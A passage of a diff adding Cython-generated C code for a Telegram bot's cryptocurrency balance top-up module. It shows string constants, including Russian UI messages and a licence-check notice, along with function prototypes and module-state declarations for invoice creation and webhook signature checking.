typeinfo ### */ +/* #### Code section: before_global_var ### */ +#define __Pyx_MODULE_NAME "handlers.payments.cryprobot_pay" +extern int __pyx_module_is_main_handlers__payments__cryprobot_pay; +int __pyx_module_is_main_handlers__payments__cryprobot_pay = 0; + +/* Implementation of "handlers.payments.cryprobot_pay" */ +/* #### Code section: global_var ### */ +static PyObject *__pyx_builtin_range; +static PyObject *__pyx_builtin_ValueError; +/* #### Code section: string_decls ### */ +static const char __pyx_k_F[] = "F"; +static const char __pyx_k_e[] = "e"; +static const char __pyx_k_i[] = "i"; +static const char __pyx_k__2[] = "\342\254\205\357\270\217 \320\235\320\260\320\267\320\260\320\264"; +static const char __pyx_k__3[] = "\320\222\321\213\320\261\320\265\321\200\320\270\321\202\320\265 \321\201\321\203\320\274\320\274\321\203 \320\277\320\276\320\277\320\276\320\273\320\275\320\265\320\275\320\270\321\217:"; +static const char __pyx_k__6[] = "|"; +static const char __pyx_k__8[] = "\320\235\320\265\320\262\320\265\321\200\320\275\321\213\320\265 \320\264\320\260\320\275\320\275\321\213\320\265 \320\264\320\273\321\217 \320\262\321\213\320\261\320\276\321\200\320\260 \321\201\321\203\320\274\320\274\321\213."; +static const char __pyx_k__9[] = "\320\235\320\265\320\272\320\276\321\200\321\200\320\265\320\272\321\202\320\275\320\260\321\217 \321\201\321\203\320\274\320\274\320\260."; +static const char __pyx_k_gc[] = "gc"; +static const char __pyx_k_id[] = "id"; +static const char __pyx_k_Any[] = "Any"; +static const char __pyx_k__10[] = "\320\237\320\276\320\277\320\276\320\273\320\275\320\265\320\275\320\270\321\217 \320\261\320\260\320\273\320\260\320\275\321\201\320\260 \320\275\320\260 "; +static const char __pyx_k__11[] = " \321\200\321\203\320\261"; +static const char __pyx_k__12[] = ":"; +static const char __pyx_k__13[] = "\320\237\320\276\320\277\320\276\320\273\320\275\320\270\321\202\321\214"; +static const char __pyx_k__14[] = "\320\222\321\213 \320\262\321\213\320\261\321\200\320\260\320\273\320\270 \320\277\320\276\320\277\320\276\320\273\320\275\320\265\320\275\320\270\320\265 \320\275\320\260 "; +static const char __pyx_k__15[] = " \321\200\321\203\320\261\320\273\320\265\320\271."; +static const char __pyx_k__16[] = "\320\236\321\210\320\270\320\261\320\272\320\260 \320\277\321\200\320\270 \321\201\320\276\320\267\320\264\320\260\320\275\320\270\320\270 \320\277\320\273\320\260\321\202\320\265\320\266\320\260."; +static const char __pyx_k__17[] = "\320\236\321\210\320\270\320\261\320\272\320\260 \320\277\321\200\320\270 \321\201\320\276\320\267\320\264\320\260\320\275\320\270\320\270 \320\277\320\273\320\260\321\202\320\265\320\266\320\260: "; +static const char __pyx_k__19[] = "\320\237\320\276\320\273\321\203\321\207\320\265\320\275\321\213 \320\264\320\260\320\275\320\275\321\213\320\265 \320\262\320\265\320\261\321\205\321\203\320\272\320\260: "; +static const char __pyx_k__20[] = "\320\235\320\265\320\277\320\276\320\264\320\264\320\265\321\200\320\266\320\270\320\262\320\260\320\265\320\274\321\213\320\271 \321\202\320\270\320\277 \320\276\320\261\320\275\320\276\320\262\320\273\320\265\320\275\320\270\321\217: "; +static const char __pyx_k__21[] = "\320\236\321\210\320\270\320\261\320\272\320\260 \320\276\320\261\321\200\320\260\320\261\320\276\321\202\320\272\320\270 \320\262\320\265\320\261\321\205\321\203\320\272\320\260: "; +static const char __pyx_k__25[] = "\320\237\320\276\320\273\321\203\321\207\320\265\320\275 \320\275\320\265\320\276\320\277\320\273\320\260\321\207\320\265\320\275\320\275\321\213\320\271 \320\270\320\275\320\262\320\276\320\271\321\201: "; +static const char __pyx_k__27[] = "\360\237\224\231 \320\235\320\260\320\267\320\260\320\264"; +static const char __pyx_k__28[] = "\320\237\320\276\320\266\320\260\320\273\321\203\320\271\321\201\321\202\320\260, \320\262\320\262\320\265\320\264\320\270\321\202\320\265 \321\201\321\203\320\274\320\274\321\203 \320\277\320\276\320\277\320\276\320\273\320\275\320\265\320\275\320\270\321\217."; +static const char __pyx_k__31[] = "\320\241\321\203\320\274\320\274\320\260 \320\264\320\276\320\273\320\266\320\275\320\260 \320\261\321\213\321\202\321\214 \320\261\320\276\320\273\321\214\321\210\320\265 "; +static const char __pyx_k__32[] = ". \320\237\320\276\320\266\320\260\320\273\321\203\320\271\321\201\321\202\320\260, \320\262\320\262\320\265\320\264\320\270\321\202\320\265 \321\201\321\203\320\274\320\274\321\203 \320\265\321\211\320\265 \321\200\320\260\320\267:"; +static const char __pyx_k__33[] = "\320\235\320\265\320\272\320\276\321\200\321\200\320\265\320\272\321\202\320\275\320\260\321\217 \321\201\321\203\320\274\320\274\320\260. \320\237\320\276\320\266\320\260\320\273\321\203\320\271\321\201\321\202\320\260, \320\262\320\262\320\265\320\264\320\270\321\202\320\265 \321\201\321\203\320\274\320\274\321\203 \320\265\321\211\320\265 \321\200\320\260\320\267:"; +static const char __pyx_k__34[] = "."; +static const char __pyx_k__43[] = "?"; +static const char __pyx_k_doc[] = "__doc__"; +static const char __pyx_k_get[] = "get"; +static const char __pyx_k_pay[] = "pay"; +static const char __pyx_k_row[] = "row"; +static const char __pyx_k_url[] = "url"; +static const char __pyx_k_web[] = "web"; +static const char __pyx_k_USDT[] = "USDT"; +static const char __pyx_k_args[] = "args"; +static const char __pyx_k_chat[] = "chat"; +static const char __pyx_k_data[] = "data"; +static const char __pyx_k_dict[] = "__dict__"; +static const char __pyx_k_info[] = "info"; +static const char __pyx_k_json[] = "json"; +static const char __pyx_k_main[] = "__main__"; +static const char __pyx_k_name[] = "__name__"; +static const char __pyx_k_paid[] = "paid"; +static const char __pyx_k_send[] = "send"; +static const char __pyx_k_test[] = "__test__"; +static const char __pyx_k_text[] = "text"; +static const char __pyx_k_State[] = "State"; +static const char __pyx_k_asset[] = "asset"; +static const char __pyx_k_await[] = "__await__"; +static const char __pyx_k_close[] = "close"; +static const char __pyx_k_debug[] = "debug"; +static const char __pyx_k_error[] = "error"; +static const char __pyx_k_range[] = "range"; +static const char __pyx_k_split[] = "split"; +static const char __pyx_k_state[] = "state"; +static const char __pyx_k_super[] = "super"; +static const char __pyx_k_tg_id[] = "tg_id"; +static const char __pyx_k_throw[] = "throw"; +static const char __pyx_k_token[] = "token"; +static const char __pyx_k_trial[] = "trial"; +static const char __pyx_k_types[] = "types"; +static const char __pyx_k_Router[] = "Router"; +static const char __pyx_k_amount[] = "amount"; +static const char __pyx_k_answer[] = "answer"; +static const char __pyx_k_config[] = "config"; +static const char __pyx_k_crypto[] = "crypto_"; +static const char __pyx_k_enable[] = "enable"; +static const char __pyx_k_exists[] = "exists"; +static const char __pyx_k_import[] = "__import__"; +static const char __pyx_k_logger[] = "logger"; +static const char __pyx_k_module[] = "__module__"; +static const char __pyx_k_router[] = "router"; +static const char __pyx_k_status[] = "status"; +static const char __pyx_k_typing[] = "typing"; +static const char __pyx_k_aiogram[] = "aiogram"; +static const char __pyx_k_aiohttp[] = "aiohttp"; +static const char __pyx_k_balance[] = "balance"; +static const char __pyx_k_builder[] = "builder"; +static const char __pyx_k_disable[] = "disable"; +static const char __pyx_k_headers[] = "headers"; +static const char __pyx_k_invoice[] = "invoice"; +static const char __pyx_k_isdigit[] = "isdigit"; +static const char __pyx_k_message[] = "message"; +static const char __pyx_k_network[] = "network"; +static const char __pyx_k_payload[] = "payload"; +static const char __pyx_k_prepare[] = "__prepare__"; +static const char __pyx_k_request[] = "request"; +static const char __pyx_k_session[] = "session"; +static const char __pyx_k_user_id[] = "user_id"; +static const char __pyx_k_warning[] = "warning"; +static const char __pyx_k_MAIN_NET[] = "MAIN_NET"; +static const char __pyx_k_Networks[] = "Networks"; +static const char __pyx_k_No_value[] = "No value"; +static const char __pyx_k_Response[] = "Response"; +static const char __pyx_k_amount_2[] = ", amount: "; +static const char __pyx_k_crypto_2[] = "crypto"; +static const char __pyx_k_database[] = "database"; +static const char __pyx_k_qualname[] = "__qualname__"; +static const char __pyx_k_set_name[] = "__set_name__"; +static const char __pyx_k_as_markup[] = "as_markup"; +static const char __pyx_k_body_text[] = "body_text"; +static const char __pyx_k_cryptobot[] = "cryptobot"; +static const char __pyx_k_isenabled[] = "isenabled"; +static const char __pyx_k_key_count[] = "key_count"; +static const char __pyx_k_metaclass[] = "__metaclass__"; +static const char __pyx_k_set_state[] = "set_state"; +static const char __pyx_k_CRYPTOSALE[] = "CRYPTOSALE"; +static const char __pyx_k_FSMContext[] = "FSMContext"; +static const char __pyx_k_ValueError[] = "ValueError"; +static const char __pyx_k_amount_str[] = "amount_str"; +static const char __pyx_k_check_hash[] = "check_hash"; +static const char __pyx_k_startswith[] = "startswith"; +static const char __pyx_k_CRYPTO_HASH[] = "\320\235\320\265\320\262\320\265\321\200\320\275\320\276\320\265 \320\267\320\275\320\260\321\207\320\265\320\275\320\270\320\265 CRYPTO_HASH. \320\222\321\213\320\277\320\276\320\273\320\275\320\265\320\275\320\270\320\265 \320\277\321\200\320\265\321\200\320\262\320\260\320\275\320\276."; +static const char __pyx_k_RUB_TO_USDT[] = "RUB_TO_USDT"; +static const char __pyx_k_StatesGroup[] = "StatesGroup"; +static const char __pyx_k_add_payment[] = "add_payment"; +static const char __pyx_k_description[] = "description"; +static const char __pyx_k_mro_entries[] = "__mro_entries__"; +static const char __pyx_k_solonet_sup[] = "\342\235\214 \320\237\320\270\321\200\320\260\321\202\321\201\320\272\320\260\321\217 \320\262\320\265\321\200\321\201\320\270\321\217, \320\276\320\261\321\200\320\260\321\202\320\270\321\202\320\265\321\201\321\214 \320\262 \320\277\320\276\320\264\320\264\320\265\321\200\320\266\320\272\321\203 @solonet_sup."; +static const char __pyx_k_update_data[] = "update_data"; +static const char __pyx_k_update_type[] = "update_type"; +static const char __pyx_k_user_id_str[] = "user_id_str"; +static const char __pyx_k_AioCryptoPay[] = "AioCryptoPay"; +static const char __pyx_k_aiocryptopay[] = "aiocryptopay"; +static const char __pyx_k_invoice_paid[] = "invoice_paid"; +static const char __pyx_k_is_coroutine[] = "_is_coroutine"; +static const char __pyx_k_reply_markup[] = "reply_markup"; +static const char __pyx_k_aiogram_types[] = "aiogram.types"; +static const char __pyx_k_callback_data[] = "callback_data"; +static const char __pyx_k_class_getitem[] = "__class_getitem__"; +static const char __pyx_k_crypto_amount[] = "crypto_amount|"; +static const char __pyx_k_expected_hash[] = "expected_hash"; +static const char __pyx_k_get_key_count[] = "get_key_count"; +static const char __pyx_k_init_subclass[] = "__init_subclass__"; +static const char __pyx_k_pay_cryptobot[] = "pay_cryptobot"; +static const char __pyx_k_types_Message[] = "types.Message"; +static const char __pyx_k_add_connection[] = "add_connection"; +static const char __pyx_k_callback_query[] = "callback_query"; +static const char __pyx_k_create_invoice[] = "create_invoice"; +static const char __pyx_k_custom_payload[] = "custom_payload"; +static const char __pyx_k_handlers_texts[] = "handlers.texts"; +static const char __pyx_k_hash_cryptobot[] = "\320\235\320\265\320\262\320\265\321\200\320\275\321\213\320\271 hash \320\262 \320\267\320\260\320\277\321\200\320\276\321\201\320\265 cryptobot"; +static const char __pyx_k_update_balance[] = "update_balance"; +static const char __pyx_k_user_id_amount[] = "\320\236\321\210\320\270\320\261\320\272\320\260 \320\272\320\276\320\275\320\262\320\265\321\200\321\202\320\260\321\206\320\270\320\270 user_id \320\270\320\273\320\270 amount: "; +static const char __pyx_k_PAYMENT_OPTIONS[] = "PAYMENT_OPTIONS"; +static const char __pyx_k_bot_invoice_url[] = "bot_invoice_url"; +static const char __pyx_k_check_signature[] = "check_signature"; +static const char __pyx_k_CRYPTO_BOT_TOKEN[] = "CRYPTO_BOT_TOKEN"; +static const char __pyx_k_CRYPTO_BOT_ENABLE[] = "CRYPTO_BOT_ENABLE"; +static const char __pyx_k_aiogram_fsm_state[] = "aiogram.fsm.state"; +static const char __pyx_k_cryptobot_webhook[] = "cryptobot_webhook"; +static const char __pyx_k_asyncio_coroutines[] = "asyncio.coroutines"; +static const char __pyx_k_cline_in_traceback[] = "cline_in_traceback"; +static const char __pyx_k_aiogram_fsm_context[] = "aiogram.fsm.context"; +static const char __pyx_k_types_CallbackQuery[] = "types.CallbackQuery"; +static const char __pyx_k_InlineKeyboardButton[] = "InlineKeyboardButton"; +static const char __pyx_k_PROJECTMANECONGIGURE[] = "PROJECTMANECONGIGURE"; +static const char __pyx_k_crypto_pay_signature[] = "crypto_pay_signature"; +static const char __pyx_k_InlineKeyboardBuilder[] = "InlineKeyboardBuilder"; +static const char __pyx_k_ReplenishBalanceState[] = "ReplenishBalanceState"; +static const char __pyx_k_aiogram_utils_keyboard[] = "aiogram.utils.keyboard"; +static const char __pyx_k_choosing_amount_crypto[] = "choosing_amount_crypto"; +static const char __pyx_k_handlers_payments_gift[] = "handlers.payments.gift"; +static const char __pyx_k_process_crypto_payment[] = "process_crypto_payment"; +static const char __pyx_k_check_connection_exists[] = "check_connection_exists"; +static const char __pyx_k_handlers_payments_utils[] = "handlers.payments.utils"; +static const char __pyx_k_Crypto_Pay_Api_Signature[] = "Crypto-Pay-Api-Signature"; +static const char __pyx_k_process_amount_selection[] = "process_amount_selection"; +static const char __pyx_k_enter_custom_amount_crypto[] = "enter_custom_amount_crypto"; +static const char __pyx_k_process_custom_amount_input[] = "process_custom_amount_input"; +static const char __pyx_k_process_enter_custom_amount[] = "process_enter_custom_amount"; +static const char __pyx_k_Payment_succeeded_for_user_id[] = "Payment succeeded for user_id: "; +static const char __pyx_k_entering_custom_amount_crypto[] = "entering_custom_amount_crypto"; +static const char __pyx_k_process_callback_pay_cryptobot[] = "process_callback_pay_cryptobot"; +static const char __pyx_k_handlers_payments_cryprobot_pay[] = "handlers.payments.cryprobot_pay"; +static const char __pyx_k_send_payment_success_notificatio[] = "send_payment_success_notification"; +static const char __pyx_k_waiting_for_payment_confirmation[] = "waiting_for_payment_confirmation_crypto"; +static const char __pyx_k_handlers_payments_cryprobot_pay_2[] = "handlers/payments/cryprobot_pay.py"; +/* #### Code section: decls ### */ +static PyObject *__pyx_pf_8handlers_8payments_13cryprobot_pay_process_callback_pay_cryptobot(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, PyObject *__pyx_v_state, PyObject *__pyx_v_session); /* proto */ +static PyObject *__pyx_pf_8handlers_8payments_13cryprobot_pay_3process_amount_selection(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, PyObject *__pyx_v_state); /* proto */ +static PyObject *__pyx_pf_8handlers_8payments_13cryprobot_pay_6cryptobot_webhook(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_request); /* proto */ +static PyObject *__pyx_pf_8handlers_8payments_13cryprobot_pay_9check_hash(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_request); /* proto */ +static PyObject *__pyx_pf_8handlers_8payments_13cryprobot_pay_12process_crypto_payment(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_payload); /* proto */ +static PyObject *__pyx_pf_8handlers_8payments_13cryprobot_pay_15process_enter_custom_amount(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, PyObject *__pyx_v_state); /* proto */ +static PyObject *__pyx_pf_8handlers_8payments_13cryprobot_pay_18process_custom_amount_input(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_message, PyObject *__pyx_v_state); /* proto */ +static PyObject *__pyx_tp_new_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ +static PyObject *__pyx_tp_new_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ +static PyObject *__pyx_tp_new_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ +static PyObject *__pyx_tp_new_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ +static PyObject *__pyx_tp_new_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ +static PyObject *__pyx_tp_new_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ +static PyObject *__pyx_tp_new_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ +/* #### Code section: late_includes ### */ +/* #### Code section: module_state ### */ +typedef struct { + PyObject *__pyx_d; + PyObject *__pyx_b; + PyObject *__pyx_cython_runtime; + PyObject *__pyx_empty_tuple; + PyObject *__pyx_empty_bytes; + PyObject *__pyx_empty_unicode; + #ifdef __Pyx_CyFunction_USED + PyTypeObject *__pyx_CyFunctionType; + #endif + #ifdef __Pyx_FusedFunction_USED + PyTypeObject *__pyx_FusedFunctionType; + #endif + #ifdef __Pyx_Generator_USED + PyTypeObject *__pyx_GeneratorType; + #endif + #ifdef __Pyx_IterableCoroutine_USED + PyTypeObject *__pyx_IterableCoroutineType; + #endif + #ifdef __Pyx_Coroutine_USED + PyTypeObject *__pyx_CoroutineAwaitType; + #endif + #ifdef __Pyx_Coroutine_USED + PyTypeObject *__pyx_CoroutineType; + #endif + #if CYTHON_USE_MODULE_STATE + PyObject *__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot; + PyObject *__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection; + PyObject *__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook; + PyObject *__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash; + PyObject *__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment; + PyObject *__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount; + PyObject *__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input; + #endif + PyTypeObject *__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot; + PyTypeObject *__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection; + PyTypeObject *__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook; + PyTypeObject *__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash; + PyTypeObject *__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment; + PyTypeObject *__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount; + PyTypeObject *__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input; + PyObject *__pyx_n_s_AioCryptoPay; + PyObject *__pyx_n_s_Any; + PyObject *__pyx_n_u_CRYPTOSALE; + PyObject *__pyx_n_s_CRYPTO_BOT_ENABLE; + PyObject *__pyx_n_s_CRYPTO_BOT_TOKEN; + PyObject *__pyx_kp_u_CRYPTO_HASH; + PyObject *__pyx_kp_u_Crypto_Pay_Api_Signature; + PyObject *__pyx_n_s_F; + PyObject *__pyx_n_s_FSMContext; + PyObject *__pyx_n_s_InlineKeyboardBuilder; + PyObject *__pyx_n_s_InlineKeyboardButton; + PyObject *__pyx_n_s_MAIN_NET; + PyObject *__pyx_n_s_Networks; + PyObject *__pyx_kp_u_No_value; + PyObject *__pyx_n_s_PAYMENT_OPTIONS; + PyObject *__pyx_n_s_PROJECTMANECONGIGURE; + PyObject *__pyx_kp_u_Payment_succeeded_for_user_id; + PyObject *__pyx_n_s_RUB_TO_USDT; + PyObject *__pyx_n_s_ReplenishBalanceState; + PyObject *__pyx_n_s_Response; + PyObject *__pyx_n_s_Router; + PyObject *__pyx_n_s_State; + PyObject *__pyx_n_s_StatesGroup; + PyObject *__pyx_n_u_USDT; + PyObject *__pyx_n_s_ValueError; + PyObject *__pyx_kp_u__10; + PyObject *__pyx_kp_u__11; + PyObject *__pyx_kp_u__12; + PyObject *__pyx_n_u__13; + PyObject *__pyx_kp_u__14; + PyObject *__pyx_kp_u__15; + PyObject *__pyx_kp_u__16; + PyObject *__pyx_kp_u__17; + PyObject *__pyx_kp_u__19; + PyObject *__pyx_kp_u__2; + PyObject *__pyx_kp_u__20; + PyObject *__pyx_kp_u__21; + PyObject *__pyx_kp_u__25; + PyObject *__pyx_kp_u__27; + PyObject *__pyx_kp_u__28; + PyObject *__pyx_kp_u__3; + PyObject *__pyx_kp_u__31; + PyObject *__pyx_kp_u__32; + PyObject *__pyx_kp_u__33; + PyObject *__pyx_kp_u__34; + PyObject *__pyx_n_s__43; + PyObject *__pyx_kp_u__6; + PyObject *__pyx_kp_u__8; + PyObject *__pyx_kp_u__9; + PyObject *__pyx_n_s_add_connection; + PyObject *__pyx_n_s_add_payment; + PyObject *__pyx_n_s_aiocryptopay; + PyObject *__pyx_n_s_aiogram; + PyObject *__pyx_n_s_aiogram_fsm_context; + PyObject *__pyx_n_s_aiogram_fsm_state; + PyObject *__pyx_n_s_aiogram_types; + PyObject *__pyx_n_s_aiogram_utils_keyboard; + PyObject *__pyx_n_s_aiohttp; + PyObject *__pyx_n_s_amount; + PyObject *__pyx_kp_u_amount_2; + PyObject *__pyx_n_s_amount_str; + PyObject *__pyx_n_s_answer; + PyObject *__pyx_n_s_args; + PyObject *__pyx_n_s_as_markup; + PyObject *__pyx_n_s_asset; + PyObject *__pyx_n_s_asyncio_coroutines; + PyObject *__pyx_n_s_await; + PyObject *__pyx_n_s_balance; + PyObject *__pyx_n_s_body_text; + PyObject *__pyx_n_s_bot_invoice_url; + PyObject *__pyx_n_u_bot_invoice_url; + PyObject *__pyx_n_s_builder; + PyObject *__pyx_n_s_callback_data; + PyObject *__pyx_n_u_callback_data; + PyObject *__pyx_n_s_callback_query; + PyObject *__pyx_n_s_chat; + PyObject *__pyx_n_s_check_connection_exists; + PyObject *__pyx_n_s_check_hash; + PyObject *__pyx_n_s_check_signature; + PyObject *__pyx_n_s_choosing_amount_crypto; + PyObject *__pyx_n_s_class_getitem; + PyObject *__pyx_n_s_cline_in_traceback; + PyObject *__pyx_n_s_close; + PyObject *__pyx_n_s_config; + PyObject *__pyx_n_s_create_invoice; + PyObject *__pyx_n_u_crypto; + PyObject *__pyx_n_s_crypto_2; + PyObject *__pyx_kp_u_crypto_amount; + PyObject *__pyx_n_s_crypto_pay_signature; + PyObject *__pyx_n_u_cryptobot; + PyObject *__pyx_n_s_cryptobot_webhook; + PyObject *__pyx_n_s_custom_payload; + PyObject *__pyx_n_s_data; + PyObject *__pyx_n_s_database; + PyObject *__pyx_n_s_debug; + PyObject *__pyx_n_s_description; + PyObject *__pyx_n_s_dict; + PyObject *__pyx_kp_u_disable; + PyObject *__pyx_n_s_doc; + PyObject *__pyx_n_s_e; + PyObject *__pyx_kp_u_enable; + PyObject *__pyx_n_u_enter_custom_amount_crypto; + PyObject *__pyx_n_s_entering_custom_amount_crypto; + PyObject *__pyx_n_s_error; + PyObject *__pyx_n_s_exists; + PyObject *__pyx_n_s_expected_hash; + PyObject *__pyx_kp_u_gc; + PyObject *__pyx_n_s_get; + PyObject *__pyx_n_s_get_key_count; + PyObject *__pyx_n_s_handlers_payments_cryprobot_pay; + PyObject *__pyx_kp_s_handlers_payments_cryprobot_pay_2; + PyObject *__pyx_n_s_handlers_payments_gift; + PyObject *__pyx_n_s_handlers_payments_utils; + PyObject *__pyx_n_s_handlers_texts; + PyObject *__pyx_kp_u_hash_cryptobot; + PyObject *__pyx_n_s_headers; + PyObject *__pyx_n_s_i; + PyObject *__pyx_n_s_id; + PyObject *__pyx_n_s_import; + PyObject *__pyx_n_s_info; + PyObject *__pyx_n_s_init_subclass; + PyObject *__pyx_n_s_invoice; + PyObject *__pyx_n_u_invoice_paid; + PyObject *__pyx_n_s_is_coroutine; + PyObject *__pyx_n_s_isdigit; + PyObject *__pyx_kp_u_isenabled; + PyObject *__pyx_n_s_json; + PyObject *__pyx_n_s_key_count; + PyObject *__pyx_n_s_logger; + PyObject *__pyx_n_s_main; + PyObject *__pyx_n_s_message; + PyObject *__pyx_n_s_metaclass; + PyObject *__pyx_n_s_module; + PyObject *__pyx_n_s_mro_entries; + PyObject *__pyx_n_s_name; + PyObject *__pyx_n_s_network; + PyObject *__pyx_n_u_paid; + PyObject *__pyx_n_u_pay; + PyObject *__pyx_n_u_pay_cryptobot; + PyObject *__pyx_n_s_payload; + PyObject *__pyx_n_u_payload; + PyObject *__pyx_n_s_prepare; + PyObject *__pyx_n_s_process_amount_selection; + PyObject *__pyx_n_s_process_callback_pay_cryptobot; + PyObject *__pyx_n_s_process_crypto_payment; + PyObject *__pyx_n_s_process_custom_amount_input; + PyObject *__pyx_n_s_process_enter_custom_amount; + PyObject *__pyx_n_s_qualname; + PyObject *__pyx_n_s_range; + PyObject *__pyx_n_s_reply_markup; + PyObject *__pyx_n_s_request; + PyObject *__pyx_n_s_router; + PyObject *__pyx_n_s_row; + PyObject *__pyx_n_s_send; + PyObject *__pyx_n_s_send_payment_success_notificatio; + PyObject *__pyx_n_s_session; + PyObject *__pyx_n_s_set_name; + PyObject *__pyx_n_s_set_state; + PyObject *__pyx_kp_u_solonet_sup; + PyObject *__pyx_n_s_split; + PyObject *__pyx_n_s_startswith; + PyObject *__pyx_n_s_state; + PyObject *__pyx_n_s_status; + PyObject *__pyx_n_u_status; + PyObject *__pyx_n_s_super; + PyObject *__pyx_n_s_test; + PyObject *__pyx_n_s_text; + PyObject *__pyx_n_u_text; + PyObject *__pyx_n_s_tg_id; + PyObject *__pyx_n_s_throw; + PyObject *__pyx_n_s_token; + PyObject *__pyx_n_s_trial; + PyObject *__pyx_n_s_types; + PyObject *__pyx_kp_s_types_CallbackQuery; + PyObject *__pyx_kp_s_types_Message; + PyObject *__pyx_n_s_typing; + PyObject *__pyx_n_s_update_balance; + PyObject *__pyx_n_s_update_data; + PyObject *__pyx_n_u_update_type; + PyObject *__pyx_n_s_url; + PyObject *__pyx_n_s_user_id; + PyObject *__pyx_kp_u_user_id_amount; + PyObject *__pyx_n_s_user_id_str; + PyObject *__pyx_n_s_waiting_for_payment_confirmation; + PyObject *__pyx_n_s_warning; + PyObject *__pyx_n_s_web; + PyObject *__pyx_float_0_0; + PyObject *__pyx_int_0; + PyObject *__pyx_int_1; + PyObject *__pyx_int_2; + PyObject *__pyx_int_200; + PyObject *__pyx_int_400; + PyObject *__pyx_int_500; + PyObject *__pyx_codeobj_; + PyObject *__pyx_tuple__4; + PyObject *__pyx_tuple__7; + PyObject *__pyx_tuple__23; + PyObject *__pyx_tuple__29; + PyObject *__pyx_tuple__35; + PyObject *__pyx_tuple__36; + PyObject *__pyx_tuple__37; + PyObject *__pyx_tuple__38; + PyObject *__pyx_tuple__39; + PyObject *__pyx_tuple__40; + PyObject *__pyx_tuple__41; + PyObject *__pyx_tuple__42; + PyObject *__pyx_codeobj__5; + PyObject *__pyx_codeobj__18; + PyObject *__pyx_codeobj__22; + PyObject *__pyx_codeobj__24; + PyObject *__pyx_codeobj__26; + PyObject *__pyx_codeobj__30; +} __pyx_mstate; + +#if CYTHON_USE_MODULE_STATE +#ifdef __cplusplus +namespace { + extern struct PyModuleDef __pyx_moduledef; +} /* anonymous namespace */ +#else +static struct PyModuleDef __pyx_moduledef; +#endif + +#define __pyx_mstate(o) ((__pyx_mstate *)__Pyx_PyModule_GetState(o)) + +#define __pyx_mstate_global (__pyx_mstate(PyState_FindModule(&__pyx_moduledef))) + +#define __pyx_m (PyState_FindModule(&__pyx_moduledef)) +#else +static __pyx_mstate __pyx_mstate_global_static = +#ifdef __cplusplus + {}; +#else + {0}; +#endif +static __pyx_mstate *__pyx_mstate_global = &__pyx_mstate_global_static; +#endif +/* #### Code section: module_state_clear ### */ +#if CYTHON_USE_MODULE_STATE +static int __pyx_m_clear(PyObject *m) { + __pyx_mstate *clear_module_state = __pyx_mstate(m); + if (!clear_module_state) return 0; + Py_CLEAR(clear_module_state->__pyx_d); + Py_CLEAR(clear_module_state->__pyx_b); + Py_CLEAR(clear_module_state->__pyx_cython_runtime); + Py_CLEAR(clear_module_state->__pyx_empty_tuple); + Py_CLEAR(clear_module_state->__pyx_empty_bytes); + Py_CLEAR(clear_module_state->__pyx_empty_unicode); + #ifdef __Pyx_CyFunction_USED + Py_CLEAR(clear_module_state->__pyx_CyFunctionType); + #endif + #ifdef __Pyx_FusedFunction_USED + Py_CLEAR(clear_module_state->__pyx_FusedFunctionType); + #endif + Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot); + Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot); + Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection); + Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection); + Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook); + Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook); + Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash); + 